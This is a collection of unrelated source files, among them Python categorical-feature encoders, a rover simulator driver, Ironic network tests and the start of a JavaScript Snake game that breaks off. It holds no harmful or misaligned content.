self._transform_col(X[col], i) if X_col is not None: if i == 0: X_new = X_col else: X_new = sparse.hstack((X_new, X_col)) logger.debug('{} --> {} features'.format( col, self.label_encoder.label_maxes[i]) ) return X_new def fit_transform(self, X, y=None): """Encode categorical columns into sparse matrix with one-hot-encoding. Args: X (pandas.DataFrame): categorical columns to encode Returns: sparse matrix encoding categorical variables into dummy variables """ self.label_encoder.fit(X) return self.transform(X) class TargetEncoder(base.BaseEstimator): """Target Encoder that encode categorical values into average target values. Smoothing and min_samples are added based on olivier's kernel at Kaggle: https://www.kaggle.com/ogrellier/python-target-encoding-for-categorical-features , which is based on Daniele Micci-Barreca (2001): https://dl.acm.org/citation.cfm?id=507538 Attributes: target_encoders (list of dict): target encoders for columns """ def __init__(self, smoothing=1, min_samples=10, cv=kfold): """Initialize the TargetEncoder class object. Args: smoothing (int): smoothing effect to balance between the categorical average vs global mean min_samples (int): minimum samples to take category average into account cv (sklearn.model_selection._BaseKFold, optional): sklearn CV object. default=KFold(5, True, 42) """ assert (min_samples >= 0) and (smoothing >= 0), 'min_samples and smoothing should be positive' self.smoothing = smoothing self.min_samples = min_samples self.cv = cv self.is_fitted = False def __repr__(self): return('TargetEncoder(smoothing={}, min_samples={}, cv={})'.format(self.smoothing, self.min_samples, self.cv)) def _get_target_encoder(self, x, y): """Return a mapping from categories to average target values. Args: x (pandas.Series): a categorical column to encode. y (pandas.Series): the target column Returns: (dict): mapping from categories to average target values """ assert len(x) == len(y) # NaN cannot be used as a key for dict. So replace it with a random # integer mean_count = pd.DataFrame({y.name: y, x.name: x.fillna(NAN_INT)}).groupby(x.name)[y.name].agg(['mean', 'count']) smoothing = 1 / (1 + np.exp(-(mean_count['count'] - self.min_samples) / self.smoothing)) mean_count[y.name] = self.target_mean * (1 - smoothing) + mean_count['mean'] * smoothing return mean_count[y.name].to_dict() def fit(self, X, y): """Encode categorical columns into average target values. Args: X (pandas.DataFrame): categorical columns to encode y (pandas.Series): the target column Returns: (pandas.DataFrame): encoded columns """ self.target_encoders = [None] * X.shape[1] self.target_mean = y.mean() for i, col in enumerate(X.columns): if self.cv is None: self.target_encoders[i] = self._get_target_encoder(X[col], y) else: self.target_encoders[i] = [] for i_cv, (i_trn, i_val) in enumerate(self.cv.split(X[col], y), 1): i_trn, i_val = X.index[i_trn], X.index[i_val] self.target_encoders[i].append(self._get_target_encoder(X.loc[i_trn, col], y.loc[i_trn])) self.is_fitted = True return self def transform(self, X): """Encode categorical columns into average target values. Args: X (pandas.DataFrame): categorical columns to encode Returns: (pandas.DataFrame): encoded columns """ assert self.is_fitted, "fit() or fit_transform() must be called before transform()." X = X.copy() for i, col in enumerate(X.columns): if self.cv is None: X.loc[:, col] = (X[col].fillna(NAN_INT) .map(self.target_encoders[i]) .fillna(self.target_mean)) else: for i_enc, target_encoder in enumerate(self.target_encoders[i], 1): if i_enc == 1: x = X[col].fillna(NAN_INT).map(target_encoder).fillna(self.target_mean) else: x += X[col].fillna(NAN_INT).map(target_encoder).fillna(self.target_mean) X.loc[:, col] = x / i_enc return X.astype(float) def fit_transform(self, X, y): """Encode categorical columns into average target values. Args: X (pandas.DataFrame): categorical columns to encode y (pandas.Series): the target column Returns: (pandas.DataFrame): encoded columns """ self.target_encoders = [None] * X.shape[1] self.target_mean = y.mean() X = X.copy() for i, col in enumerate(X.columns): if self.cv is None: self.target_encoders[i] = self._get_target_encoder(X[col], y) X.loc[:, col] = (X[col].fillna(NAN_INT) .map(self.target_encoders[i]) .fillna(self.target_mean)) else: self.target_encoders[i] = [] for i_cv, (i_trn, i_val) in enumerate(self.cv.split(X[col], y), 1): i_trn, i_val = X.index[i_trn], X.index[i_val] target_encoder = self._get_target_encoder(X.loc[i_trn, col], y[i_trn]) X.loc[i_val, col] = (X.loc[i_val, col].fillna(NAN_INT) .map(target_encoder) .fillna(y[i_trn].mean())) self.target_encoders[i].append(target_encoder) self.is_fitted = True return X.astype(float) class EmbeddingEncoder(base.BaseEstimator): """EmbeddingEncoder encodes categorical features to numerical embedding features. Reference: 'Entity embeddings to handle categories' by Abhishek Thakur at https://www.kaggle.com/abhishek/entity-embeddings-to-handle-categories """ def __init__(self, cat_cols, num_cols=[], n_emb=[], min_obs=10, n_epoch=10, batch_size=1024, cv=None, random_state=42): """Initialize an EmbeddingEncoder class object. Args: cat_cols (list of str): the names of categorical features to create embeddings for. num_cols (list of str): the names of numerical features to train embeddings with. n_emb (int or list of int): the numbers of embedding features used for columns. min_obs (int): categories observed less than it will be grouped together before training embeddings n_epoch (int): the number of epochs to train a neural network with embedding layer batch_size (int): the size of mini-batches in model training cv (sklearn.model_selection._BaseKFold): sklearn CV object random_state (int): random seed. """ self.cat_cols = cat_cols self.num_cols = num_cols if isinstance(n_emb, int): self.n_emb = [n_emb] * len(cat_cols) elif isinstance(n_emb, list): if not n_emb: self.n_emb = [None] * len(cat_cols) else: assert len(cat_cols) == len(n_emb) self.n_emb = n_emb else: raise ValueError('n_emb should be int or list') self.min_obs = min_obs self.n_epoch = n_epoch self.batch_size = batch_size self.cv = cv self.random_state = random_state self.lbe = LabelEncoder(min_obs=self.min_obs) self.is_fitted = False @staticmethod def _get_model(X, cat_cols, num_cols, n_uniq, n_emb, output_activation): inputs = [] num_inputs = [] embeddings = [] for i, col in enumerate(cat_cols): if not n_uniq[i]: n_uniq[i] = X[col].nunique() if not n_emb[i]: n_emb[i] = max(MIN_EMBEDDING, 2 * int(np.log2(n_uniq[i]))) _input = Input(shape=(1,), name=col) _embed = Embedding(input_dim=n_uniq[i], output_dim=n_emb[i], name=col + EMBEDDING_SUFFIX)(_input) _embed = Dropout(.2)(_embed) _embed = Reshape((n_emb[i],))(_embed) inputs.append(_input) embeddings.append(_embed) if num_cols: num_inputs = Input(shape=(len(num_cols),), name='num_inputs') merged_input = Concatenate(axis=1)(embeddings + [num_inputs]) inputs = inputs + [num_inputs] else: merged_input = Concatenate(axis=1)(embeddings) x = BatchNormalization()(merged_input) x = Dense(128, activation='relu')(x) x = Dropout(.5)(x) x = BatchNormalization()(x) x = Dense(64, activation='relu')(x) x = Dropout(.5)(x) x = BatchNormalization()(x) output = Dense(1, activation=output_activation)(x) model = Model(inputs=inputs, outputs=output) return model, n_emb, n_uniq def fit(self, X, y): """Train a neural network model with embedding layers. Args: X (pandas.DataFrame): categorical features to create embeddings for y (pandas.Series): a target variable Returns: A trained EmbeddingEncoder object. """ is_classification = y.nunique() == 2 X_cat = self.lbe.fit_transform(X[self.cat_cols]) if is_classification: assert np.isin(y, [0, 1]).all(), 'Target values should be 0 or 1 for classification.' output_activation = 'sigmoid' loss = 'binary_crossentropy' metrics = [AUC()] monitor = 'val_auc' mode = 'max' else: output_activation = 'linear' loss = 'mse' metrics = ['mse'] monitor = 'val_mse' mode = 'min' n_uniq = [X_cat[col].nunique() for col in self.cat_cols] if self.cv: self.embs = [] n_fold = self.cv.get_n_splits(X) for i_cv, (i_trn, i_val) in enumerate(self.cv.split(X, y), 1): i_trn, i_val = X.index[i_trn], X.index[i_val] model, self.n_emb, _ = self._get_model(X_cat, self.cat_cols, self.num_cols, n_uniq, self.n_emb, output_activation) model.compile(optimizer=Adam(lr=0.01), loss=loss, metrics=metrics) features_trn = [X_cat.loc[i_trn, col] for col in self.cat_cols] features_val = [X_cat.loc[i_val, col] for col in self.cat_cols] if self.num_cols: features_trn += [X.loc[i_trn, self.num_cols]] features_val += [X.loc[i_val, self.num_cols]] es = EarlyStopping(monitor=monitor, min_delta=.001, patience=5, verbose=1, mode=mode, baseline=None, restore_best_weights=True) rlr = ReduceLROnPlateau(monitor=monitor, factor=.5, patience=3, min_lr=1e-6, mode=mode) model.fit(x=features_trn, y=y[i_trn], validation_data=(features_val, y[i_val]), epochs=self.n_epoch, batch_size=self.batch_size, callbacks=[es, rlr]) for i_col, col in enumerate(self.cat_cols): emb = model.get_layer(col + EMBEDDING_SUFFIX).get_weights()[0] if i_cv == 1: self.embs.append(emb / n_fold) else: self.embs[i_col] += emb / n_fold else: model, self.n_emb, _ = self._get_model(X_cat, self.cat_cols, self.num_cols, n_uniq, self.n_emb, output_activation) model.compile(optimizer=Adam(lr=0.01), loss=loss, metrics=metrics) features = [X_cat[col] for col in self.cat_cols] if self.num_cols: features += [X[self.num_cols].values] es = EarlyStopping(monitor=monitor, min_delta=.001, patience=5, verbose=1, mode=mode, baseline=None, restore_best_weights=True) rlr = ReduceLROnPlateau(monitor=monitor, factor=.5, patience=3, min_lr=1e-6, mode=mode) model.fit(x=features, y=y, epochs=self.n_epoch, validation_split=.2, batch_size=self.batch_size, callbacks=[es, rlr]) self.embs = [] for i, col in enumerate(self.cat_cols): self.embs.append(model.get_layer(col + EMBEDDING_SUFFIX).get_weights()[0]) logger.debug('{}: {}'.format(col, self.embs[i].shape)) self.is_fitted = True return self def transform(self, X): assert self.is_fitted, "fit() or fit_transform() must be called before transform()." X_cat = self.lbe.transform(X[self.cat_cols]) X_emb = [] for i, col in enumerate(self.cat_cols): X_emb.append(self.embs[i][X_cat[col].values]) return np.hstack(X_emb) def fit_transform(self, X, y): self.fit(X, y) return self.transform(X) class FrequencyEncoder(base.BaseEstimator): """Frequency Encoder that encode categorical values by counting frequencies. Attributes: frequency_encoders (list of dict): frequency encoders for columns """ def __init__(self, cv=None): """Initialize the FrequencyEncoder class object. Args: cv (sklearn.model_selection._BaseKFold, optional): sklearn CV object """ self.cv = cv self.is_fitted = False def __repr__(self): return('FrequencyEncoder(cv={})'.format(self.cv)) def _get_frequency_encoder(self, x): """Return a mapping from categories to frequency. Args: x (pandas.Series): a categorical column to encode. Returns: (dict): mapping from categories to frequency """ # NaN cannot be used as a key for dict. So replace it with a random # integer df = pd.DataFrame({x.name: x.fillna('NaN')}) df[x.name + '_freq'] = df[x.name].map(df[x.name].value_counts()) return df.groupby(x.name)[x.name + '_freq'].size().to_dict() def fit(self, X, y=None): """Encode categorical columns into frequency. Args: X (pandas.DataFrame): categorical columns to encode y (pandas.Series, optional): the target column Returns: (pandas.DataFrame): encoded columns """ self.frequency_encoders = [None] * X.shape[1] for i, col in enumerate(X.columns): if self.cv is None: self.frequency_encoders[i] = self._get_frequency_encoder(X[col]) else: self.frequency_encoders[i] = [] for i_cv, (i_trn, i_val) in enumerate(self.cv.split(X[col]), 1): self.frequency_encoders[i].append(self._get_frequency_encoder(X.iloc[i_trn][col])) self.is_fitted = True return self def transform(self, X): """Encode categorical columns into feature frequency counts. Args: X (pandas.DataFrame): categorical columns to encode Returns: (pandas.DataFrame): encoded columns """ assert self.is_fitted, "fit() or fit_transform() must be called before transform()." X = X.copy() for i, col in enumerate(X.columns): if self.cv is None: X.loc[:, col] = X[col].fillna('NaN').map(self.frequency_encoders[i]).fillna(0) else: for i_enc, frequency_encoder in enumerate(self.frequency_encoders[i], 1): if i_enc == 1: x = X[col].fillna('NaN').map(frequency_encoder).fillna(0) else: x += X[col].fillna('NaN').map(frequency_encoder).fillna(0) X.loc[:, col] = x / i_enc return X def fit_transform(self, X, y=None): """Encode categorical columns into feature frequency counts. Args: X (pandas.DataFrame): categorical columns to encode y (pandas.Series, optional): the target column """ self.frequency_encoders = [None] * X.shape[1] X = X.copy() for i, col in enumerate(X.columns): if self.cv is None: self.frequency_encoders[i] = self._get_frequency_encoder(X[col]) X.loc[:, col] = X[col].fillna('NaN').map(self.frequency_encoders[i]).fillna(0) else: self.frequency_encoders[i] = [] for i_cv, (i_trn, i_val) in enumerate(self.cv.split(X[col]), 1): i_trn, i_val = X.index[i_trn], X.index[i_val] frequency_encoder = self._get_frequency_encoder(X.loc[i_trn, col]) X.loc[i_val, col] = X.loc[i_val, col].fillna('NaN').map(frequency_encoder).fillna(0) self.frequency_encoders[i].append(frequency_encoder) self.is_fitted = True return X
//===----------------------------------------------------------------------===// // // Peloton // // cost_and_stats_calculator.h // // Identification: src/include/optimizer/stats_calculator.h // // Copyright (c) 2015-16, Carnegie Mellon University Database Group // //===----------------------------------------------------------------------===// #pragma once #include "optimizer/operator_visitor.h" namespace peloton { namespace optimizer { class Memo; class TableStats; /** * @brief Derive stats for the root group using a group expression's children's * stats */ class StatsCalculator : public OperatorVisitor { public: void CalculateStats(GroupExpression *gexpr, ExprSet required_cols, Memo *memo); void Visit(const LogicalGet *) override; void Visit(const LogicalQueryDerivedGet *) override; void Visit(const LogicalInnerJoin *) override; void Visit(const LogicalLeftJoin *) override; void Visit(const LogicalRightJoin *) override; void Visit(const LogicalOuterJoin *) override; void Visit(const LogicalSemiJoin *) override; void Visit(const LogicalAggregateAndGroupBy *) override; void Visit(const LogicalLimit *) override; void Visit(const LogicalDistinct *) override; private: /** * @brief Add the base table stats if the base table maintain stats, or else * use default stats * * @param col The column we want to get stats * @param table_stats Base table stats * @param stats The stats map to add * @param copy Specify if we want to make a copy */ void AddBaseTableStats( expression::AbstractExpression *col, std::shared_ptr<TableStats> table_stats, std::unordered_map<std::string, std::shared_ptr<ColumnStats>> &stats, bool copy); /** * @brief Update selectivity for predicate evaluation * * @param num_rows Number of rows of base table * @param predicate_stats The stats for columns in the expression * @param predicates conjunction predicates */ void UpdateStatsForFilter( size_t num_rows, std::unordered_map<std::string, std::shared_ptr<ColumnStats>> &predicate_stats, const std::vector<AnnotatedExpression> &predicates); double CalculateSelectivityForPredicate( const std::shared_ptr<TableStats> predicate_table_stats, const expression::AbstractExpression *expr); GroupExpression *gexpr_; ExprSet required_cols_; Memo *memo_; }; } // namespace optimizer } // namespace peloton
# Do the necessary imports import argparse import shutil import base64 from datetime import datetime import os import cv2 import numpy as np import socketio import eventlet import eventlet.wsgi from PIL import Image from flask import Flask from io import BytesIO, StringIO import json import pickle import matplotlib.image as mpimg import time # Import functions for perception and decision making from perception import perception_step from decision import decision_step from supporting_functions import update_rover, create_output_images # Initialize socketio server and Flask application # (learn more at: https://python-socketio.readthedocs.io/en/latest/) sio = socketio.Server() app = Flask(__name__) # Read in ground truth map and create 3-channel green version for overplotting # NOTE: images are read in by default with the origin (0, 0) in the upper left # and y-axis increasing downward. ground_truth = mpimg.imread('../calibration_images/map_bw.png') # This next line creates arrays of zeros in the red and blue channels # and puts the map into the green channel. This is why the underlying # map output looks green in the display image ground_truth_3d = np.dstack((ground_truth*0, ground_truth*255, ground_truth*0)).astype(np.float) # Define RoverState() class to retain rover state parameters class RoverState(): def __init__(self): self.start_time = None # To record the start time of navigation self.total_time = None # To record total duration of naviagation self.img = None # Current camera image self.pos = None # Current position (x, y) self.yaw = None # Current yaw angle self.pitch = None # Current pitch angle self.roll = None # Current roll angle self.vel = None # Current velocity self.steer = 0 # Current steering angle self.throttle = 0 # Current throttle value self.brake = 0 # Current brake value self.nav_angles = None # Angles of navigable terrain pixels self.nav_dists = None # Distances of navigable terrain pixels self.ground_truth = ground_truth_3d # Ground truth worldmap self.mode = 'forward' # Current mode (can be forward or stop) self.throttle_set = 0.2 # Throttle setting when accelerating self.brake_set = 10 # Brake setting when braking # The stop_forward and go_forward fields below represent total count # of navigable terrain pixels. This is a very crude form of knowing # when you can keep going and when you should stop. Feel free to # get creative in adding new fields or modifying these! self.stop_forward = 50 # Threshold to initiate stopping self.go_forward = 500 # Threshold to go forward again self.max_vel = 2 # Maximum velocity (meters/second) # Image output from perception step # Update this image to display your intermediate analysis steps # on screen in autonomous mode self.vision_image = np.zeros((160, 320, 3), dtype=np.float) # Worldmap # Update this image with the positions of navigable terrain # obstacles and rock samples self.worldmap = np.zeros((200, 200, 3), dtype=np.float) self.samples_pos = None # To store the actual sample positions self.samples_to_find = 0 # To store the initial count of samples self.samples_located = 0 # To store number of samples located on map self.samples_collected = 0 # To count the number of samples collected self.near_sample = 0 # Will be set to telemetry value data["near_sample"] self.picking_up = 0 # Will be set to telemetry value data["picking_up"] self.send_pickup = False # Set to True to trigger rock pickup #------------------added code------------------ self.stuck_time = 0 # frame counter when the robot stuck self.stuck_limit = 90 self.back_limit = 150 #a default frame number for the robot when stuck ot go backward self.back_time = 0 # frame counter when the robot go backward #------------------added code------------------ # Initialize our rover Rover = RoverState() # Variables to track frames per second (FPS) # Intitialize frame counter frame_counter = 0 # Initalize second counter second_counter = time.time() fps = None # Define telemetry function for what to do with incoming data @sio.on('telemetry') def telemetry(sid, data): global frame_counter, second_counter, fps frame_counter+=1 # Do a rough calculation of frames per second (FPS) if (time.time() - second_counter) > 1: fps = frame_counter frame_counter = 0 second_counter = time.time() print("Current FPS: {}".format(fps)) if data: global Rover # Initialize / update Rover with current telemetry Rover, image = update_rover(Rover, data) if np.isfinite(Rover.vel): # Execute the perception and decision steps to update the Rover's state Rover = perception_step(Rover) Rover = decision_step(Rover) # Create output images to send to server out_image_string1, out_image_string2 = create_output_images(Rover) # The action step! Send commands to the rover! # Don't send both of these, they both trigger the simulator # to send back new telemetry so we must only send one # back in respose to the current telemetry data. # If in a state where want to pickup a rock send pickup command if Rover.send_pickup and not Rover.picking_up: send_pickup() # Reset Rover flags Rover.send_pickup = False else: # Send commands to the rover! commands = (Rover.throttle, Rover.brake, Rover.steer) send_control(commands, out_image_string1, out_image_string2) # In case of invalid telemetry, send null commands else: # Send zeros for throttle, brake and steer and empty images send_control((0, 0, 0), '', '') # If you want to save camera images from autonomous driving specify a path # Example: $ python drive_rover.py image_folder_path # Conditional to save image frame if folder was specified if args.image_folder != '': timestamp = datetime.utcnow().strftime('%Y_%m_%d_%H_%M_%S_%f')[:-3] image_filename = os.path.join(args.image_folder, timestamp) image.save('{}.jpg'.format(image_filename)) else: sio.emit('manual', data={}, skip_sid=True) @sio.on('connect') def connect(sid, environ): print("connect ", sid) send_control((0, 0, 0), '', '') sample_data = {} sio.emit( "get_samples", sample_data, skip_sid=True) def send_control(commands, image_string1, image_string2): # Define commands to be sent to the rover data={ 'throttle': commands[0].__str__(), 'brake': commands[1].__str__(), 'steering_angle': commands[2].__str__(), 'inset_image1': image_string1, 'inset_image2': image_string2, } # Send commands via socketIO server sio.emit( "data", data, skip_sid=True) eventlet.sleep(0) # Define a function to send the "pickup" command def send_pickup(): print("Picking up") pickup = {} sio.emit( "pickup", pickup, skip_sid=True) eventlet.sleep(0) if __name__ == '__main__': parser = argparse.ArgumentParser(description='Remote Driving') parser.add_argument( 'image_folder', type=str, nargs='?', default='', help='Path to image folder. This is where the images from the run will be saved.' ) args = parser.parse_args() #os.system('rm -rf IMG_stream/*') if args.image_folder != '': print("Creating image folder at {}".format(args.image_folder)) if not os.path.exists(args.image_folder): os.makedirs(args.image_folder) else: shutil.rmtree(args.image_folder) os.makedirs(args.image_folder) print("Recording this run ...") else: print("NOT recording this run ...") # wrap Flask application with socketio's middleware app = socketio.Middleware(sio, app) # deploy as an eventlet WSGI server eventlet.wsgi.server(eventlet.listen(('', 4567)), app)
"use strict";(self.webpackChunkbank=self.webpackChunkbank||[]).push([[952],{952:(f,s,n)=>{n.r(s),n.d(s,{OPOModule:()=>M});var u=n(6019),m=n(1382),O=n(4382),t=n(3668);const h=[{path:"pac",loadChildren:()=>Promise.all([n.e(138),n.e(659),n.e(100),n.e(506),n.e(592),n.e(101)]).then(n.bind(n,3101)).then(o=>o.PACModule)}];let P=(()=>{class o{}return o.\u0275fac=function(d){return new(d||o)},o.\u0275mod=t.oAB({type:o}),o.\u0275inj=t.cJS({imports:[[u.ez,O.Bz.forChild(h)],O.Bz]}),o})(),M=(()=>{class o{}return o.\u0275fac=function(d){return new(d||o)},o.\u0275mod=t.oAB({type:o}),o.\u0275inj=t.cJS({imports:[[u.ez,m.m,P]]}),o})()}}]);
class Cacti { constructor(t) { this.type = t; switch (this.type) { case 0: //small cactus this.w = 40; this.h = 80; break; case 1: //big cactus this.w = 60; this.h = 120; break; case 2: //small cacti this.w = 120; this.h = 80; break; } this.x = width; this.y = height - this.h - gapFromBottom; } move() { this.x -= speed; } show() { switch (this.type) { case 0: image(cactusSmall, this.x, this.y, this.w, this.h); break; case 1: image(cactusBig, this.x, this.y, this.w, this.h); break; case 2: image(cacti, this.x, this.y, this.w, this.h); break; } // noFill(); // rect(this.x, this.y +20, this.w, this.h); } }
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import mock from neutronclient.common import exceptions as neutron_exceptions from oslo_config import cfg from oslo_utils import uuidutils from ironic.common import exception from ironic.common import neutron from ironic.conductor import task_manager from ironic.drivers.modules.network import flat as flat_interface from ironic.tests.unit.conductor import mgr_utils from ironic.tests.unit.db import base as db_base from ironic.tests.unit.objects import utils CONF = cfg.CONF VIFMIXINPATH = 'ironic.drivers.modules.network.common.VIFPortIDMixin' class TestFlatInterface(db_base.DbTestCase): def setUp(self): super(TestFlatInterface, self).setUp() self.config(enabled_drivers=['fake']) mgr_utils.mock_the_extension_manager() self.interface = flat_interface.FlatNetwork() self.node = utils.create_test_node(self.context) self.port = utils.create_test_port( self.context, node_id=self.node.id, internal_info={ 'cleaning_vif_port_id': uuidutils.generate_uuid()}) @mock.patch('%s.vif_list' % VIFMIXINPATH) def test_vif_list(self, mock_vif_list): with task_manager.acquire(self.context, self.node.id) as task: self.interface.vif_list(task) mock_vif_list.assert_called_once_with(task) @mock.patch('%s.vif_attach' % VIFMIXINPATH) def test_vif_attach(self, mock_vif_attach): vif = mock.MagicMock() with task_manager.acquire(self.context, self.node.id) as task: self.interface.vif_attach(task, vif) mock_vif_attach.assert_called_once_with(task, vif) @mock.patch('%s.vif_detach' % VIFMIXINPATH) def test_vif_detach(self, mock_vif_detach): vif_id = "vif" with task_manager.acquire(self.context, self.node.id) as task: self.interface.vif_detach(task, vif_id) mock_vif_detach.assert_called_once_with(task, vif_id) @mock.patch('%s.port_changed' % VIFMIXINPATH) def test_vif_port_changed(self, mock_p_changed): port = mock.MagicMock() with task_manager.acquire(self.context, self.node.id) as task: self.interface.port_changed(task, port) mock_p_changed.assert_called_once_with(task, port) @mock.patch.object(flat_interface, 'LOG') def test_init_no_cleaning_network(self, mock_log): self.config(cleaning_network=None, group='neutron') flat_interface.FlatNetwork() self.assertTrue(mock_log.warning.called) @mock.patch.object(neutron, 'validate_network', autospec=True) def test_validate(self, validate_mock): with task_manager.acquire(self.context, self.node.id) as task: self.interface.validate(task) validate_mock.assert_called_once_with(CONF.neutron.cleaning_network, 'cleaning network') @mock.patch.object(neutron, 'validate_network', side_effect=lambda n, t: n) @mock.patch.object(neutron, 'add_ports_to_network') @mock.patch.object(neutron, 'rollback_ports') def test_add_cleaning_network(self, rollback_mock, add_mock, validate_mock): add_mock.return_value = {self.port.uuid: 'vif-port-id'} with task_manager.acquire(self.context, self.node.id) as task: self.interface.add_cleaning_network(task) rollback_mock.assert_called_once_with( task, CONF.neutron.cleaning_network) add_mock.assert_called_once_with( task, CONF.neutron.cleaning_network) validate_mock.assert_called_once_with( CONF.neutron.cleaning_network, 'cleaning network') self.port.refresh() self.assertEqual('vif-port-id', self.port.internal_info['cleaning_vif_port_id']) @mock.patch.object(neutron, 'validate_network', side_effect=lambda n, t: n) @mock.patch.object(neutron, 'remove_ports_from_network') def test_remove_cleaning_network(self, remove_mock, validate_mock): with task_manager.acquire(self.context, self.node.id) as task: self.interface.remove_cleaning_network(task) remove_mock.assert_called_once_with( task, CONF.neutron.cleaning_network) validate_mock.assert_called_once_with( CONF.neutron.cleaning_network, 'cleaning network') self.port.refresh() self.assertNotIn('cleaning_vif_port_id', self.port.internal_info) @mock.patch.object(neutron, 'get_client') def test_add_provisioning_network_set_binding_host_id( self, client_mock): upd_mock = mock.Mock() client_mock.return_value.update_port = upd_mock instance_info = self.node.instance_info instance_info['nova_host_id'] = 'nova_host_id' self.node.instance_info = instance_info self.node.save() extra = {'vif_port_id': 'foo'} utils.create_test_port(self.context, node_id=self.node.id, address='52:54:00:cf:2d:33', extra=extra, uuid=uuidutils.generate_uuid()) exp_body = {'port': {'binding:host_id': 'nova_host_id'}} with task_manager.acquire(self.context, self.node.id) as task: self.interface.add_provisioning_network(task) upd_mock.assert_called_once_with('foo', exp_body) @mock.patch.object(neutron, 'get_client') def test_add_provisioning_network_set_binding_host_id_portgroup( self, client_mock): upd_mock = mock.Mock() client_mock.return_value.update_port = upd_mock instance_info = self.node.instance_info instance_info['nova_host_id'] = 'nova_host_id' self.node.instance_info = instance_info self.node.save() internal_info = {'tenant_vif_port_id': 'foo'} utils.create_test_portgroup( self.context, node_id=self.node.id, internal_info=internal_info, uuid=uuidutils.generate_uuid()) utils.create_test_port( self.context, node_id=self.node.id, address='52:54:00:cf:2d:33', extra={'vif_port_id': 'bar'}, uuid=uuidutils.generate_uuid()) exp_body = {'port': {'binding:host_id': 'nova_host_id'}} with task_manager.acquire(self.context, self.node.id) as task: self.interface.add_provisioning_network(task) upd_mock.assert_has_calls([ mock.call('bar', exp_body), mock.call('foo', exp_body) ]) @mock.patch.object(neutron, 'get_client') def test_add_provisioning_network_no_binding_host_id( self, client_mock): upd_mock = mock.Mock() client_mock.return_value.update_port = upd_mock instance_info = self.node.instance_info instance_info.pop('nova_host_id', None) self.node.instance_info = instance_info self.node.save() extra = {'vif_port_id': 'foo'} utils.create_test_port(self.context, node_id=self.node.id, address='52:54:00:cf:2d:33', extra=extra, uuid=uuidutils.generate_uuid()) with task_manager.acquire(self.context, self.node.id) as task: self.interface.add_provisioning_network(task) self.assertFalse(upd_mock.called) @mock.patch.object(neutron, 'get_client') def test_add_provisioning_network_binding_host_id_raise( self, client_mock): client_mock.return_value.update_port.side_effect = \ (neutron_exceptions.ConnectionFailed()) instance_info = self.node.instance_info instance_info['nova_host_id'] = 'nova_host_id' self.node.instance_info = instance_info self.node.save() extra = {'vif_port_id': 'foo'} utils.create_test_port(self.context, node_id=self.node.id, address='52:54:00:cf:2d:33', extra=extra, uuid=uuidutils.generate_uuid()) with task_manager.acquire(self.context, self.node.id) as task: self.assertRaises(exception.NetworkError, self.interface.add_provisioning_network, task)
from guillotina import configure from guillotina import app_settings from guillotina.interfaces import IResource from guillotina_volto.interfaces import IDefaultBlocksLayout from guillotina_volto.interfaces import IDefaultBlocks @configure.adapter(for_=IResource, provides=IDefaultBlocksLayout) class DefaultBlocksLayout: def __init__(self, context): self.context = context def __call__(self): default_blocks = app_settings.get("default_blocks", None) default_result = {"items": []} if default_blocks is not None and self.context.type_name in default_blocks: return default_blocks[self.context.type_name].get( "blocks_layout", default_result ) else: return default_result @configure.adapter(for_=IResource, provides=IDefaultBlocks) class DefaultBlocks: def __init__(self, context): self.context = context def __call__(self): default_result = {} default_blocks = app_settings.get("default_blocks", None) if default_blocks is not None and self.context.type_name in default_blocks: return default_blocks[self.context.type_name].get("blocks", default_result) else: return default_result
import React from 'react'; import Link from 'gatsby-link'; const Footer = ({ meta }) => ( <footer className="footer"> <div className="footer__content"> <ul className="footer__links"> <li> <a href="https://github.com/tinrab">GitHub</a> </li> <li> <a href="https://twitter.com/tinrab">Twitter</a> </li> <li> <Link to="/about">About</Link> </li> <li> <Link to="/privacy">Privacy</Link> </li> </ul> <p className="footer__body"> 2018 &copy; {meta.site.title}. All rights reserved. </p> </div> </footer> ); export default Footer;
#!/usr/bin/env python3 import os import re import sys from typing import List, Tuple def find_decls(ino: str) -> Tuple[List[str], List[str]]: with open(ino, encoding="utf8") as f: txt = f.read() incls = re.findall(r"^#include.*$", txt, re.MULTILINE) decls = re.findall( r"^(?:(?:static|struct)[^;=]+?{|typedef[^;]+?;)", txt, re.MULTILINE ) return incls, decls def add_header(ino: str, c: str, incls: List[str], decls: List[str]) -> None: header = "\n".join( ['#include <arduino.h>', ""] + [" ".join(incl.split()) for incl in incls] + [" ".join(decl.rstrip("{;").split()) + ";" for decl in decls] ) with open(ino, "r", encoding="utf8") as f: txt = f.read() with open(c, "w", encoding="utf8") as f: txt = f"/* !!!ino2c!!! */\n{header}\n/* !!!ino2c!!! */\n{txt}" txt = txt.replace('#include "', '#include "../') f.write(txt) if __name__ == "__main__": if len(sys.argv) < 2: sys.exit("Usage: ino2c input.ino [output.cpp]") ino = sys.argv[1] c = ( sys.argv[2] if len(sys.argv) >= 3 else os.path.basename(os.path.splitext(ino)[0]) + ".cpp" ) try: incls, decls = find_decls(ino) add_header(ino, c, incls, decls) except Exception as e: # pylint: disable=broad-except sys.exit(e)
/* JavaScript Snake By Patrick Gillespie http://patorjk.com/games/snake */ /** * @module Snake * @class SNAKE */ var SNAKE = SNAKE || {}; /** * @method addEventListener * @param {Object} obj The object to add an event listener to. * @param {String} event The event to listen for. * @param {Function} funct The function to execute when the event is triggered. * @param {Boolean} evtCapturing True to do event capturing, false to do event bubbling. */ SNAKE.addEventListener = (function() { if (window.addEventListener) { return function(obj, event, funct, evtCapturing) { obj.addEventListener(event, funct, evtCapturing); }; } else if (window.attachEvent) { return function(obj, event, funct) { obj.attachEvent("on" + event, funct); }; } })(); /** * @method removeEventListener * @param {Object} obj The object to remove an event listener from. * @param {String} event The event that was listened for. * @param {Function} funct The function that was executed when the event is triggered. * @param {Boolean} evtCapturing True if event capturing was done, false otherwise. */ SNAKE.removeEventListener = (function() { if (window.removeEventListener) { return function(obj, event, funct, evtCapturing) { obj.removeEventListener(event, funct, evtCapturing); }; } else if (window.detachEvent) { return function(obj, event, funct) { obj.detachEvent("on" + event, funct); }; } })(); /** * This class manages the snake which will reside inside of a SNAKE.Board object. * @class Snake * @constructor * @namespace SNAKE * @param {Object} config The configuration object for the class. Contains playingBoard (the SNAKE.Board that this snake resides in), startRow and startCol. */ SNAKE.Snake = SNAKE.Snake || (function() { // ------------------------------------------------------------------------- // Private static variables and methods // 